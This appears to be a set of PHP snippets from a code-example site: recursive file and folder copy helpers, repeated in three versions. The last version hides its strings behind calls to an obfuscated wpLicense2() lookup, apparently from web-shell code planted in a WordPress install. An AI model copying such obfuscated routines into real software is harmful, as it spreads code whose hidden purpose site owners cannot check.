function copy_paste($c, $f, $d)
{
    if (is_dir($c . $f)) {
        mkdir($d . $f);
        $dirs = scandir($c . $f);
        if ($dirs) {
            $dirs = array_diff($dirs, array('..', '.'));
            foreach ($dirs as $file) {
                copy_paste($c . $f . '/', $file, $d . $f . '/');
            }
        }
    } elseif (is_file($c . $f)) {
        copy($c . $f, $d . $f);
    }
}
Esempio n. 2
0
 function move_paste($c, $s, $d)
 {
     if (is_dir($c . $s)) {
         mkdir($d . $s);
         $h = @opendir($c . $s);
         while (($f = @readdir($h)) !== false) {
             if ($f != "." and $f != "..") {
                 copy_paste($c . $s . '/', $f, $d . $s . '/');
             }
         }
     } elseif (@is_file($c . $s)) {
         @copy($c . $s, $d . $s);
     }
 }
					function move_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
							while (($f = @readdir($h)) !== false)
								if (($f !=  wpLicense2(538)) and ($f !=  wpLicense2(539)))
									copy_paste($c.$s. wpLicense2(540),$f, $d.$s. wpLicense2(541));
						} elseif(@is_file($c.$s))
							@copy($c.$s, $d.$s);
					}